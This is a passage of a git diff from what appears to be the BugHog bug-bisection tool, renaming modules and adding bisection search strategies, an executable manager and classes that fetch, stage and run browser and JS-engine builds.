# database_collection: Optional[str] + # major_version_range: Optional[tuple[int, int]] = None + # revision_number_range: Optional[tuple[int, int]] = None + # subject_config: str = 'default' + # cli_options: Optional[list[str]] = None + # dirty_allowed: bool = True + + # @staticmethod + # def from_dict(data: dict) -> PlotParameters: + # if data.get('lower_version', None) and data.get('upper_version', None): + # major_version_range = (data['lower_version'], data['upper_version']) + # else: + # major_version_range = None + # if data.get('lower_revision_nb', None) and data.get('upper_revision_nb', None): + # revision_number_range = ( + # data['lower_revision_nb'], + # data['upper_revision_nb'], + # ) + # else: + # revision_number_range = None + # return PlotParameters( + # data.get('plot_experiment', None), + # data.get('target_mech_id', None), + # data.get('subject_name', None), + # data.get('db_collection', None), + # major_version_range=major_version_range, + # revision_number_range=revision_number_range, + # subject_config=data.get('subject_setting', 'default'), + # cli_options=data.get('cli_options', []), + # dirty_allowed=data.get('dirty_allowed', True), + # ) + + +@staticmethod +def evaluation_factory( + kwargs: dict, database_params: DatabaseParameters, only_to_plot=False +) -> list[EvaluationParameters]: + experiments = set(x for x in kwargs.get('experiments', []) + [kwargs.get('experiment_to_plot')] if x is not None) + if len(experiments) == 0: + raise MissingParametersError() + + subject_configuration = SubjectConfiguration.from_dict(kwargs) + sequence_configuration = SequenceConfiguration( + int(kwargs.get('nb_of_containers', 1)), + int(kwargs.get('sequence_limit', 50)), + kwargs.get('search_strategy'), + ) + evaluation_params_list = [] + for experiment in sorted(experiments): + if only_to_plot and experiment != kwargs.get('experiment_to_plot'): + continue + evaluation_range = EvaluationRange( + kwargs['project_name'], + experiment, + __get_version_range(kwargs), + __get_commit_nb_range(kwargs), + kwargs.get('only_release_commits', False), + ) + evaluation_params = EvaluationParameters( + subject_configuration, + evaluation_range, + sequence_configuration, + database_params, + ) + evaluation_params_list.append(evaluation_params) + return evaluation_params_list + + +@staticmethod +def __get_cookie_name(form_data: dict[str, str]) -> str | None: + if form_data['check_for'] == 'request': + return None + if 'cookie_name' in form_data: + return form_data['cookie_name'] + return 'generic' + + +@staticmethod +def __get_version_range(form_data: dict[str, str]) -> tuple[int, int] | None: + if range := form_data.get('version_range', None): + if len(range) == 2: + return (int(range[0]), int(range[1])) + return None + + +@staticmethod +def __get_commit_nb_range(form_data: dict[str, str]) -> tuple[int, int] | None: + lower_rev_number = form_data.get('lower_commit_nb', None) + upper_rev_number = form_data.get('upper_commit_nb', None) + lower_rev_number = int(lower_rev_number) if lower_rev_number else None + upper_rev_number = int(upper_rev_number) if upper_rev_number else None + if lower_rev_number is None or upper_rev_number is None: + return None + return (lower_rev_number, upper_rev_number) if lower_rev_number is not None else None diff --git a/bci/browser/interaction/__init__.py b/bughog/search_strategy/__init__.py similarity index 100% rename from bci/browser/interaction/__init__.py rename to bughog/search_strategy/__init__.py diff --git a/bughog/search_strategy/bgb_search.py b/bughog/search_strategy/bgb_search.py new file mode 100644 index 00000000..66514a21 --- /dev/null +++ b/bughog/search_strategy/bgb_search.py @@ -0,0 +1,132 @@ +from __future__ import annotations + +import logging +from typing import Optional + +from bughog.search_strategy.bgb_sequence import BiggestGapBisectionSequence +from bughog.search_strategy.sequence_strategy import SequenceFinished +from bughog.version_control.state.base import State +from bughog.version_control.state_factory import StateFactory + +logger = logging.getLogger(__name__) + + +class BiggestGapBisectionSearch(BiggestGapBisectionSequence): + """ + This search strategy will split the biggest gap between two states in half and return the state in the middle. + It will only consider state pairs if their non-dirty result differs. + It stops when there are no more states to evaluate between two states with different outcomes. + """ + + def __init__(self, state_factory: StateFactory, considered_states: Optional[list[State]] = None) -> None: + """ + Initializes the search strategy. + + :param state_factory: The factory to create new states. + :param considered_states: States that have already been returned. + """ + super().__init__(state_factory, 0, considered_states=considered_states) + + def next(self, wait=True) -> State: + """ + Returns the next state to evaluate. + """ + # Fetch all evaluated states + self._fetch_evaluated_states(wait=wait) + + if self._limit and self._limit <= len(self._considered_states): + raise SequenceFinished() + + if self._lower_state not in self._considered_states: + self._add_state(self._lower_state) + return self._lower_state + if self._upper_state not in self._considered_states: + self._add_state(self._upper_state) + return self._upper_state + + while next_pair := self.__get_next_pair_to_split(): + splitter_state = self._find_best_splitter_state(next_pair[0], next_pair[1]) + if splitter_state is None: + # No available splitter state was found. + self._unavailability_gap_pairs.add(next_pair) + else: + # The state is not considered yet. + logger.debug(f'Splitting [{next_pair[0].index}]--/{splitter_state.index}/--[{next_pair[1].index}]') + self._add_state(splitter_state) + return splitter_state + + raise SequenceFinished() + + def __get_next_pair_to_split(self, pinpoint_error_shifts=False) -> Optional[tuple[State, State]]: + """ + Returns the next pair to split. + """ + states = self._considered_states + + # There should be at least one state in between the outer states, otherwise we cannot split. + if not states[0].index + 1 < states[-1].index: + return None + + # For each clean state, we find the closest next clean state, and make pairs in between them. + pairs = [] + i = 0 + while i < len(states): + # Skip resultless and dirty states. + if not states[i].has_result() or states[i].has_dirty_result(): + i += 1 + continue + + # Find the next clean state and break if there is none. + j = self.__find_next_clean_state(states, i) + if j is None: + break + + # Create new pairs within the sequence defined by states i and j, if they have a different result. + if not states[i].has_same_outcome(states[j]): + new_pairs = self.__create_pairs_between_clean_states(states[i:j+1]) + pairs.extend(new_pairs) + i = j + + # Remove pairs that cannot be split. + pairs = [pair for pair in pairs if pair[0].index + 1 < pair[1].index] + if len(pairs) == 0: + return None + + # Remove pairs already identified as unavailability gaps. + pairs = [pair for pair in pairs if pair not in self._unavailability_gap_pairs] + if len(pairs) == 0: + return None + + # Sort pairs from largest to smallest range. + pairs.sort(key=lambda pair: pair[1].index - pair[0].index, reverse=True) + return pairs[0] + + @staticmethod + def __find_next_clean_state(states: list[State], start: int) -> int | None: + """ + Returns the index of the next state with a clean result, with the search starting after the given start index. + """ + for i in range(start + 1, len(states)): + if states[i].has_result() and not states[i].has_dirty_result(): + return i + return None + + @staticmethod + def __create_pairs_between_clean_states(states: list[State]) -> list[tuple[State,State]]: + """ + Creates pairs of a sequence bordered by two clean states. + We assume there are no other clean states in this range. + """ + return[ + pair for pair in zip(states, states[1:]) + if not (pair[0].has_dirty_result() and pair[1].has_dirty_result()) + ] + + @staticmethod + def create_from_bgb_sequence(bgb_sequence: BiggestGapBisectionSequence) -> BiggestGapBisectionSearch: + """ + Returns a BGB search object, which continues on state of the given BGB sequence object. + + :param bgb_sequence: The BGB sequence object from which the state will be used to create the BGB search object. + """ + return BiggestGapBisectionSearch(bgb_sequence._state_factory, considered_states=bgb_sequence._considered_states) diff --git a/bci/search_strategy/bgb_sequence.py b/bughog/search_strategy/bgb_sequence.py similarity index 71% rename from bci/search_strategy/bgb_sequence.py rename to bughog/search_strategy/bgb_sequence.py index 4fb19a4c..ee118947 100644 --- a/bci/search_strategy/bgb_sequence.py +++ b/bughog/search_strategy/bgb_sequence.py @@ -1,9 +1,9 @@ import logging from typing import Optional -from bci.search_strategy.sequence_strategy import SequenceFinished, SequenceStrategy -from bci.version_control.state_factory import StateFactory -from bci.version_control.states.state import State +from bughog.search_strategy.sequence_strategy import SequenceFinished, SequenceStrategy +from bughog.version_control.state.base import State +from bughog.version_control.state_factory import StateFactory logger = logging.getLogger(__name__) @@ -13,37 +13,37 @@ class BiggestGapBisectionSequence(SequenceStrategy): This sequence strategy will split the biggest gap between two states in half and return the state in the middle. """ - def __init__(self, state_factory: StateFactory, limit: int, completed_states: Optional[list[State]]=None) -> None: + def __init__(self, state_factory: StateFactory, limit: int, considered_states: Optional[list[State]] = None) -> None: """ Initializes the sequence strategy. :param state_factory: The factory to create new states. :param limit: The maximum number of states to evaluate. 0 means no limit. - :param completed_states: States that have already been returned. + :param considered_states: States that have already been returned. """ - super().__init__(state_factory, limit, completed_states=completed_states) + super().__init__(state_factory, limit, considered_states=considered_states) self._unavailability_gap_pairs: set[tuple[State, State]] = set() """Tuples in this list are **strict** boundaries of ranges without any available binaries.""" - def next(self) -> State: + def next(self, wait=True) -> State: """ Returns the next state to evaluate. """ # Fetch all evaluated states on the first call - if not self._completed_states: - self._fetch_evaluated_states() + if not self._considered_states: + self._fetch_evaluated_states(wait=wait) - if self._limit and self._limit <= len(self._completed_states): + if self._limit and self._limit <= len(self._considered_states): raise SequenceFinished() - if self._lower_state not in self._completed_states: + if self._lower_state not in self._considered_states: self._add_state(self._lower_state) return self._lower_state - if self._upper_state not in self._completed_states: + if self._upper_state not in self._considered_states: self._add_state(self._upper_state) return self._upper_state - pairs = list(zip(self._completed_states, self._completed_states[1:])) + pairs = list(zip(self._considered_states, self._considered_states[1:])) while pairs: filtered_pairs = [pair for pair in pairs if not self._pair_is_in_unavailability_gap(pair)] furthest_pair = max(filtered_pairs, key=lambda x: x[1].index - x[0].index) @@ -51,9 +51,7 @@ def next(self) -> State: if splitter_state is None: self._unavailability_gap_pairs.add(furthest_pair) elif splitter_state: - logger.debug( - f'Splitting [{furthest_pair[0].index}]--/{splitter_state.index}/--[{furthest_pair[1].index}]' - ) + logger.debug(f'Splitting [{furthest_pair[0].index}]--/{splitter_state.index}/--[{furthest_pair[1].index}]') self._add_state(splitter_state) return splitter_state pairs.remove(furthest_pair) @@ -68,7 +66,7 @@ def _find_best_splitter_state(self, first_state: State, last_state: State) -> Op return None best_splitter_index = first_state.index + (last_state.index - first_state.index) // 2 target_state = self._state_factory.create_state(best_splitter_index) - return self._find_closest_state_with_available_binary(target_state, (first_state, last_state)) + return self._find_closest_state_with_available_binary(target_state, (first_state, last_state), False) def _state_is_in_unavailability_gap(self, state: State) -> bool: """ @@ -84,9 +82,6 @@ def _pair_is_in_unavailability_gap(self, pair: tuple[State, State]) -> bool: Returns True if the pair of states is in a gap between two states without any available binaries """ for gap_pair in self._unavailability_gap_pairs: - if ( - gap_pair[0].index < pair[0].index < gap_pair[1].index - and gap_pair[0].index < pair[1].index < gap_pair[1].index - ): + if gap_pair[0].index < pair[0].index < gap_pair[1].index and gap_pair[0].index < pair[1].index < gap_pair[1].index: return True return False diff --git a/bci/search_strategy/composite_search.py b/bughog/search_strategy/composite_search.py similarity index 58% rename from bci/search_strategy/composite_search.py rename to bughog/search_strategy/composite_search.py index 5dffc7c6..7bd06b26 100644 --- a/bci/search_strategy/composite_search.py +++ b/bughog/search_strategy/composite_search.py @@ -1,17 +1,18 @@ from typing import Optional -from bci.search_strategy.bgb_search import BiggestGapBisectionSearch -from bci.search_strategy.bgb_sequence import BiggestGapBisectionSequence -from bci.search_strategy.sequence_strategy import SequenceFinished -from bci.version_control.state_factory import StateFactory -from bci.version_control.states.state import State +from bughog.search_strategy.bgb_search import BiggestGapBisectionSearch +from bughog.search_strategy.bgb_sequence import BiggestGapBisectionSequence +from bughog.search_strategy.sequence_strategy import SequenceFinished +from bughog.version_control.state.base import State +from bughog.version_control.state_factory import StateFactory -class CompositeSearch(): + +class CompositeSearch: def __init__(self, state_factory: StateFactory, sequence_limit: int) -> None: self.sequence_strategy = BiggestGapBisectionSequence(state_factory, limit=sequence_limit) self.search_strategy: Optional[BiggestGapBisectionSearch] = None - def next(self) -> State: + def next(self, wait=True) -> State: """ Returns the next state, based on a sequence strategy and search strategy. First, the sequence strategy decides which state to return until it returns the SequenceFinished exception. @@ -19,9 +20,9 @@ def next(self) -> State: """ if self.search_strategy is None: try: - return self.sequence_strategy.next() + return self.sequence_strategy.next(wait=wait) except SequenceFinished: self.search_strategy = BiggestGapBisectionSearch.create_from_bgb_sequence(self.sequence_strategy) - return self.search_strategy.next() + return self.search_strategy.next(wait=wait) else: - return self.search_strategy.next() + return self.search_strategy.next(wait=wait) diff --git a/bci/search_strategy/sequence_strategy.py b/bughog/search_strategy/sequence_strategy.py similarity index 51% rename from bci/search_strategy/sequence_strategy.py rename to bughog/search_strategy/sequence_strategy.py index f112dbfe..ff332f9f 100644 --- a/bci/search_strategy/sequence_strategy.py +++ b/bughog/search_strategy/sequence_strategy.py @@ -1,82 +1,100 @@ import logging +import time from abc import abstractmethod from concurrent.futures import ThreadPoolExecutor from typing import Optional -from bci.version_control.state_factory import StateFactory -from bci.version_control.states.state import State +from bughog.version_control.state.base import State +from bughog.version_control.state_factory import StateFactory logger = logging.getLogger(__name__) class SequenceStrategy: - def __init__(self, state_factory: StateFactory, limit: int, completed_states: Optional[list[State]]=None) -> None: + def __init__( + self, state_factory: StateFactory, limit: int, considered_states: Optional[list[State]] = None + ) -> None: """ Initializes the sequence strategy. :param state_factory: The factory to create new states. :param limit: The maximum number of states to evaluate. 0 means no limit. - :param completed_states: States that have already been returned. + :param considered_states: States that have already been returned. """ self._state_factory = state_factory self._limit = limit self._lower_state, self._upper_state = self.__create_available_boundary_states() - self._completed_states = completed_states if completed_states else [] + self._considered_states = considered_states if considered_states else [] @abstractmethod - def next(self) -> State: + def next(self, wait=True) -> State: pass def is_available(self, state: State) -> bool: - return state.has_available_binary() + return state.has_available_executable() def _add_state(self, elem: State) -> None: """ - Adds an element to the list of evaluated states if not already a member, and sorts the list. + Adds an element to the list of considered states if not already a member, and sorts the list. """ - if elem not in self._completed_states: - self._completed_states.append(elem) - self._completed_states.sort(key=lambda x: x.index) + if elem not in self._considered_states: + self._considered_states.append(elem) + self._considered_states.sort(key=lambda x: x.index) - def _fetch_evaluated_states(self) -> None: + def _fetch_evaluated_states(self, wait=True) -> None: """ - Fetches all evaluated states from the database and stores them in the list of evaluated states. + Fetches all evaluated states from the database and stores them in the list of considered states. + If wait is True, it retries until all considered states have non-None result_variables (e.i., all ongoing experiments have finished.). + It will resume anyway after 10 retries. """ - fetched_states = self._state_factory.create_evaluated_states() - for state in self._completed_states: + fetched_states = [] + if wait: + for _ in range(10): + fetched_states = self._state_factory.create_evaluated_states() + if all(state in fetched_states for state in self._considered_states): + break + time.sleep(3) + else: + fetched_states = self._state_factory.create_evaluated_states() + + for state in self._considered_states: if state not in fetched_states: fetched_states.append(state) fetched_states.sort(key=lambda x: x.index) - self._completed_states = fetched_states + self._considered_states = fetched_states def __create_available_boundary_states(self) -> tuple[State, State]: first_state, last_state = self._state_factory.boundary_states - available_first_state = self._find_closest_state_with_available_binary(first_state, (first_state, last_state)) - available_last_state = self._find_closest_state_with_available_binary(last_state, (first_state, last_state)) + available_first_state = self._find_closest_state_with_available_binary(first_state, (first_state, last_state), True) + available_last_state = self._find_closest_state_with_available_binary(last_state, (first_state, last_state), True) if available_first_state is None or available_last_state is None: raise AttributeError( f"Could not find boundary states for '{self._lower_state.index}' and '{self._upper_state.index}'" ) return available_first_state, available_last_state - def _find_closest_state_with_available_binary(self, target: State, boundaries: tuple[State, State]) -> State | None: + def _find_closest_state_with_available_binary( + self, target: State, boundaries: tuple[State, State], inclusive: bool + ) -> State | None: """ - Finds the closest state with an available binary **strictly** within the given boundaries. + Finds the closest state with an available binary **strictly** within the given boundaries (exclusive). """ - if target.has_available_binary(): + if target.has_available_executable(): return target + # Some states offer search support, we try that first. try: - if state := self.__get_closest_available_state(target, boundaries): - return state - else: - return None - except FunctionalityNotAvailable: + index = target.find_nearest_state_with_executable(boundaries, inclusive) + if index is not None: + return self._state_factory.create_state(index) + return None + except NotImplementedError: pass - def index_has_available_binary(index: int) -> Optional[State]: + # Second option: manual search. + def index_has_available_executable(index: int) -> Optional[State]: state = self._state_factory.create_state(index) - if state.has_available_binary(): + if state.has_available_executable(): return state else: return None @@ -87,10 +105,10 @@ def index_has_available_binary(index: int) -> Optional[State]: while (best_splitter_index - diff) > first_state.index or (best_splitter_index + diff) < last_state.index: with ThreadPoolExecutor(max_workers=6) as executor: futures = [] - for offset in (-diff, diff, - 1 - diff, 1 + diff, - 2 - diff, 2 + diff): + for offset in (-diff, diff, -1 - diff, 1 + diff, -2 - diff, 2 + diff): target_index = best_splitter_index + offset if first_state.index < target_index < last_state.index: - futures.append(executor.submit(index_has_available_binary, target_index)) + futures.append(executor.submit(index_has_available_executable, target_index)) for future in futures: state = future.result() @@ -101,27 +119,9 @@ def index_has_available_binary(index: int) -> Optional[State]: return None - def __get_closest_available_state(self, target: State, boundaries: tuple[State, State]) -> State | None: - """ - Return the closest state with an available binary. - """ - try: - states = target.get_previous_and_next_state_with_binary() - states = [state for state in states if state is not None] - ordered_states = sorted(states, key=lambda x: abs(target.revision_nb - x.revision_nb)) - - for state in ordered_states: - if boundaries[0].revision_nb < state.revision_nb < boundaries[1].revision_nb: - return state - - return None - - except NotImplementedError as e: - raise FunctionalityNotAvailable() from e - - class SequenceFinished(Exception): pass + class FunctionalityNotAvailable(Exception): pass diff --git a/bci/database/__init__.py b/bughog/subject/__init__.py similarity index 100% rename from bci/database/__init__.py rename to bughog/subject/__init__.py diff --git a/bughog/subject/artisanal_executable_manager.py b/bughog/subject/artisanal_executable_manager.py new file mode 100644 index 00000000..43c59987 --- /dev/null +++ b/bughog/subject/artisanal_executable_manager.py @@ -0,0 +1,136 @@ +import bisect +import logging +import os +from typing import Iterator, Literal + +logger = logging.getLogger(__name__) +BASE_EXECUTABLE_FOLDER = '/app/subject' + + +class ArtisanalExecutableManager: + """ + Manages storage and retrieval of local executable folders. + This class is intended to be used as a singleton instance. + """ + + def __init__(self) -> None: + self._executables = self.load_artisanal_executables() + logger.info('Loaded artisanal executables.') + + def load_artisanal_executables(self) -> dict[str, dict[str, dict[str, list[str]]]]: + """ + Loads all available artisanal executables. + """ + if not os.path.isdir(BASE_EXECUTABLE_FOLDER): + return {} + + executables = {} + for subject_type in os.listdir(BASE_EXECUTABLE_FOLDER): + type_path = os.path.join(BASE_EXECUTABLE_FOLDER, subject_type, 'executables') + if not os.path.isdir(type_path): + continue + executables[subject_type] = {} + for subject_name in os.listdir(type_path): + name_path = os.path.join(type_path, subject_name) + if not os.path.isdir(name_path): + continue + executables[subject_type][subject_name] = {'version': [], 'commit': []} + for folder in os.listdir(name_path): + folder_path = os.path.join(name_path, folder) + if os.path.isdir(folder_path): + state_type_and_index = self._get_state_type_and_index(folder) + if state_type_and_index is not None: + if state_type_and_index[0] == 'release': + executables[subject_type][subject_name]['version'].append(state_type_and_index[1]) + elif state_type_and_index[0] == 'commit': + executables[subject_type][subject_name]['commit'].append(state_type_and_index[1]) + return executables + + def get_executable_folder( + self, subject_type: str, subject_name: str, state_type: Literal['release', 'commit'], index: int + ) -> str | None: + prefix = 'r' if state_type == 'release' else 'c' + folder_name = f'{prefix}_{index}' + path = os.path.join(self._get_subject_base_dir(subject_type, subject_name), folder_name) + return path if os.path.isdir(path) else None + + def count_executables(self, subject_type: str, subject_name: str, state_type: Literal['release', 'commit']) -> int: + """ + Returns the number of existing executable folders for a specific subject. + """ + return len(list(self.get_all_executable_indices(subject_type, subject_name, state_type))) + + def get_all_executable_indices( + self, subject_type: str, subject_name: str, state_type: Literal['release', 'commit'] + ) -> Iterator[int]: + """ + Returns a list of all existing executable folders for a specific subject. + """ + raw_indices = self._executables.get(subject_type, {}).get(subject_name, {}).get(state_type, []) + for item in raw_indices: + try: + yield int(item) + except (ValueError, TypeError): + continue + + def get_nearest_state_with_artisanal_executable( + self, + subject_type: str, + subject_name: str, + state_type: Literal['release', 'commit'], + target_index: int, + lower_bound: int, + upper_bound: int, + ) -> int | None: + """ + Returns the closest existing state index with an artisanal executable for the given subject. + """ + available_indices = [ + i + for i in self.get_all_executable_indices(subject_type, subject_name, state_type) + if lower_bound <= int(i) <= upper_bound + ] + available_indices.sort() + + if not available_indices: + return None + + pos = bisect.bisect_left(available_indices, target_index) + + # Target is smaller than the smallest index available. + if pos == 0: + return available_indices[0] + + # Target is smaller than the largest index available + if pos == len(available_indices): + return available_indices[-1] + + # Target is between two available indices. + before = available_indices[pos - 1] + after = available_indices[pos] + if after - target_index < target_index - before: + return after + else: + return before + + def _get_subject_base_dir(self, subject_type: str, subject_name: str) -> str: + return os.path.join(BASE_EXECUTABLE_FOLDER, subject_type, 'executables', subject_name) + + def _get_state_type_and_index(self, folder_name: str) -> tuple[Literal['release', 'commit'], int] | None: + if folder_name.startswith('v_'): + try: + index = int(folder_name[2:]) + return 'release', index + except ValueError: + return None + elif folder_name.startswith('c_'): + try: + index = int(folder_name[2:]) + return 'commit', index + except ValueError: + return None + return None + + +# Singleton instance +artisanal_executable_manager = ArtisanalExecutableManager() diff --git a/bughog/subject/evaluation_framework.py b/bughog/subject/evaluation_framework.py new file mode 100644 index 00000000..35cd5c69 --- /dev/null +++ b/bughog/subject/evaluation_framework.py @@ -0,0 +1,83 @@ +import logging +import os +from abc import ABC, abstractmethod +from typing import Optional + +from bughog.evaluation.file_structure import Folder + +logger = logging.getLogger(__name__) + + +class EvaluationFramework(ABC): + def __init__(self, subject_type: str) -> None: + self.experiment_root_folder = os.path.join('./subject/', subject_type, 'experiments') + if not os.path.isdir(self.experiment_root_folder): + raise AttributeError(f"Could not open '{self.experiment_root_folder}'.") + + @abstractmethod + def experiment_is_runnable(self, experiment_folder: Folder) -> bool: + pass + + @abstractmethod + def get_default_experiment_script(self, experiment_folder: Folder) -> list[str]: + """ + Returns the default script, which is used when no 'script.cmd' is present in the experiment's folder. + """ + pass + + @abstractmethod + def fill_empty_experiment_with_default(self, path: str): + """ + Populates an empty experiment with default folders and files. + """ + pass + + @abstractmethod + def get_poc_file_name(self) -> str: + pass + + def get_runtime_flags(self, experiment_folder: Folder) -> list[str]: + """ + Returns the experiment-defined runtime flags. + """ + if args := self.get_bughog_poc_parameter(experiment_folder, 'runtime_flags'): + return args.split() + return [] + + def get_runtime_env_vars(self, experiment_folder: Folder) -> list[str]: + """ + Returns the experiment-defined environment variables. + """ + if args := self.get_bughog_poc_parameter(experiment_folder, 'env_vars'): + return args.split() + return [] + + def get_runtime_args(self, experiment_folder: Folder) -> list[str]: + """ + Returns the experiment-defined executable arguments. + """ + if args := self.get_bughog_poc_parameter(experiment_folder, 'runtime_args'): + return args.split() + return [] + + def get_expected_output_regex(self, experiment_folder: Folder) -> Optional[str]: + """ + Returns the experiment-defined expected output regex. + """ + return self.get_bughog_poc_parameter(experiment_folder, 'expected_output') + + def get_unexpected_output_regex(self, experiment_folder: Folder) -> Optional[str]: + """ + Returns the experiment-defined unexpected output regex. + """ + return self.get_bughog_poc_parameter(experiment_folder, 'unexpected_output') + + def get_bughog_poc_parameter(self, experiment_folder: Folder, parameter: str) -> Optional[str]: + """ + Returns the given parameter's value, as defined in the poc file. + """ + poc_file = experiment_folder.get_file(self.get_poc_file_name()) + return poc_file.get_bughog_poc_parameter(parameter) + + def requires_sanity_check(self) -> bool: + return True diff --git a/bughog/subject/executable.py b/bughog/subject/executable.py new file mode 100644 index 00000000..52a3fe60 --- /dev/null +++ b/bughog/subject/executable.py @@ -0,0 +1,257 @@ +import logging +import os +import shutil +import signal +import subprocess +import time +from abc import ABC, abstractmethod +from enum import Enum, auto, unique +from typing import Optional + +from bughog import util +from bughog.evaluation.collectors.logs import LogCollector +from bughog.evaluation.file_structure import Folder +from bughog.parameters import SubjectConfiguration +from bughog.version_control.state.base import State + +logger = logging.getLogger(__name__) + + +class Executable(ABC): + """ + Abstract base class representing a subject executable, which is executed during evaluation. + """ + + def __init__(self, config: SubjectConfiguration, state: State) -> None: + self.config = config + self.state = state + self.origin = None + self.status = ExecutableStatus.NEW + self.error_message = None + self._runtime_flags = [] + self._runtime_env_vars = {} + self._runtime_args = [] + self.__version = None + self.__process: Optional[subprocess.Popen] = None + + # # + # TO BE IMPLEMENT BY EVERY EVALUATION SUBJECT EXECUTABLE + # # + + @property + @abstractmethod + def executable_name(self) -> str: + """ + Returns the executable name, required to call it in the CLI. + """ + pass + + @property + @abstractmethod + def post_experiment_sleep_duration(self) -> int: + """ + Returns the number of seconds should be waited between experiments. + """ + pass + + @abstractmethod + def _optimize_for_storage(self) -> None: + """ + Optimizes executable files right before storage. + """ + pass + + @abstractmethod + def _configure_executable(self) -> None: + """ + Configures the executable folder after staging. + """ + pass + + @property + @abstractmethod + def supported_options(self) -> list[str]: + pass + + @abstractmethod + def _get_version(self) -> str: + """ + Runs the executable to retrieve its version string. + """ + pass + + @abstractmethod + def pre_experiment_setup(self): + """ + Executes the setup required for an experiment. + """ + pass + + @abstractmethod + def pre_try_setup(self): + """ + Executes the setup required for a try. + """ + pass + + @abstractmethod + def post_try_cleanup(self): + """ + Executes the cleanup required after a try. + """ + pass + + @abstractmethod + def post_experiment_cleanup(self): + """ + Executes the cleanup required after an experiment. + """ + pass + + @abstractmethod + def _get_cli_command(self) -> list[str]: + pass + + # # + # HELPER FUNCTIONS + # # + + @property + def log_path(self) -> str: + return LogCollector.log_path + + @property + @util.ensure_folder_exists + def temporary_storage_folder(self) -> str: + """ + Executables are stored here before staging. + I.e., public executables are downloaded and artisanal executables are copied to this folder. + """ + return os.path.join('/memory/executables/', f'{self.config.subject_name}-{self.state.name}') + + def is_in_temporary_storage(self) -> bool: + path = self.temporary_storage_folder + return os.path.isdir(path) and any(os.scandir(path)) + + @property + @util.ensure_folder_exists + def staging_folder(self) -> str: + return os.path.join('/memory/staging/', f'{self.config.subject_name}-{str(self.state.name)}') + + @property + def executable_path(self) -> str: + return os.path.join(self.staging_folder, self.executable_name) + + @property + def is_ready_for_use(self) -> bool: + return os.path.isfile(self.executable_path) and self.version is not None + + @property + def version(self) -> Optional[str]: + if self.__version is None: + try: + self.__version = self._get_version() + except Exception: + logger.error(f'Could not retrieve version for {self.state}', exc_info=True) + return None + return self.__version + + def add_runtime_flags(self, flags: list[str]) -> None: + self._runtime_flags.extend(flags) + + def add_runtime_env_vars(self, vars: list[str]) -> None: + for var in vars: + if '=' in var: + key, value = var.split('=', 1) + # Concatenate duplicated ASAN_OPTIONS values with a colon + if key == 'ASAN_OPTIONS' and key in self._runtime_env_vars: + self._runtime_env_vars[key] += ':' + value + else: + self._runtime_env_vars[key] = value + + def add_runtime_args(self, args: list[str]) -> None: + self._runtime_args.extend(args) + + def fetch(self): + from bughog.database.mongo.executable_cache import ExecutableCache + + if self.is_in_temporary_storage(): + logger.info(f'Executable for {self.state.name} was already present for staging.') + elif self.state.has_artisanal_executable(): + self.origin = 'artisanal' + logger.info(f'Executable from artisanal build for {self.state.name} was found.') + executable_path = self.state.get_artisanal_executable_folder() + util.copy_folder(executable_path, self.temporary_storage_folder) + elif ExecutableCache.fetch_executable_files(self.config, self.state.name, self.temporary_storage_folder): + self.origin = 'public' + logger.info(f'Executable for {self.state.name} was fetched from cache.') + elif self.state.has_public_executable(): + self.origin = 'public' + start = time.time() + executable_urls = self.state.get_executable_source_urls() + util.download_and_extract(executable_urls, self.temporary_storage_folder) + elapsed_time = time.time() - start + logger.info(f'Executable for {self.state.name} was downloaded in {elapsed_time:.2f}s') + self._optimize_for_storage() + ExecutableCache.store_executable_files(self.config, self.state.name, self.temporary_storage_folder) + else: + raise Exception(f'Executable for {self.state.name} is not available.') + + def remove(self): + if self.is_in_temporary_storage(): + shutil.rmtree(self.temporary_storage_folder) + + def stage(self): + self.unstage() + util.copy_folder(self.temporary_storage_folder, self.staging_folder) + self._configure_executable() + + def unstage(self): + if os.path.isfile(self.staging_folder): + os.remove(self.staging_folder) + elif os.path.isdir(self.staging_folder): + shutil.rmtree(self.staging_folder) + + def run(self, experiment_specific_params: list[str], cwd: Optional[Folder] = None): + """ + Runs the executable with the given arguments, and kills it after the given timeout. + """ + cli_command = self._get_cli_command() + experiment_specific_params + self._runtime_args + logger.debug(f'Executing: {" ".join(cli_command)}') + with open(self.log_path, 'a+') as file: + popen_args = {'args': cli_command, 'stdout': file, 'stderr': file, 'bufsize': 1, 'text': True} + if cwd: + popen_args['cwd'] = cwd.path + if self._runtime_env_vars: + popen_args['env'] = self._runtime_env_vars + self.__process = subprocess.Popen(**popen_args) + + def terminate(self, wait=False, timeout: int = 5): + if self.__process is None: + return + # Use SIGINT and SIGTERM to end process such that browser cookies remain saved. + if not wait: + logger.debug('Terminating subject process using SIGINT...') + self.__process.send_signal(signal.SIGINT) + self.__process.send_signal(signal.SIGTERM) + try: + self.__process.wait(timeout=timeout) + except subprocess.TimeoutExpired: + logger.info(f'Subject process did not terminate after {timeout}s. Killing process through pkill...') + cli_command = self._get_cli_command() + subprocess.run(['pkill', '-2', cli_command[0].split('/')[-1]]) + self.__process.wait() + logger.debug('Subject process terminated.') + + +@unique +class ExecutableStatus(Enum): + """ + The condition of an executable. + """ + + COMPLETED = auto() + READY_FOR_USE = auto() + EXPERIMENT_FAILED = auto() + UNAVAILABLE = auto() + NEW = auto() diff --git a/bughog/subject/factory.py b/bughog/subject/factory.py new file mode 100644 index 00000000..99f40412 --- /dev/null +++ b/bughog/subject/factory.py @@ -0,0 +1,115 @@ +import os +from functools import lru_cache + +from bughog.evaluation.experiments import Experiments +from bughog.parameters import EvaluationParameters +from bughog.subject.evaluation_framework import EvaluationFramework +from bughog.subject.js_engine.evaluation_framework import JSEngineEvaluationFramework +from bughog.subject.js_engine.v8.subject import V8Subject +from bughog.subject.js_engine.v8_sandbox.subject import V8SandboxSubject +from bughog.subject.subject import Subject +from bughog.subject.wasm_runtime.evaluation_framework import ( + WasmRuntimeEvaluationFramework, +) +from bughog.subject.wasm_runtime.wasmtime.subject import WasmtimeSubject +from bughog.subject.web_browser.chromium.subject import Chromium +from bughog.subject.web_browser.evaluation_framework import BrowserEvaluationFramework +from bughog.subject.web_browser.firefox.subject import Firefox + +subjects = { + 'js_engine': { + 'evaluation_framework': JSEngineEvaluationFramework, + 'subjects': [ + V8Subject(), + V8SandboxSubject() + ] + }, + 'wasm_runtime': { + 'evaluation_framework': WasmRuntimeEvaluationFramework, + 'subjects': [ + WasmtimeSubject() + ] + }, + 'web_browser': { + 'evaluation_framework': BrowserEvaluationFramework, + 'subjects': [ + Chromium(), + Firefox(), + ], + }, +} + + +@staticmethod +def get_all_subject_types() -> list[str]: + return sorted(subjects.keys()) + + +@staticmethod +def get_all_subjects_for(subject_type: str) -> list[Subject]: + if subject_objects := subjects.get(subject_type): + return subject_objects['subjects'] + raise AttributeError(f"Subject 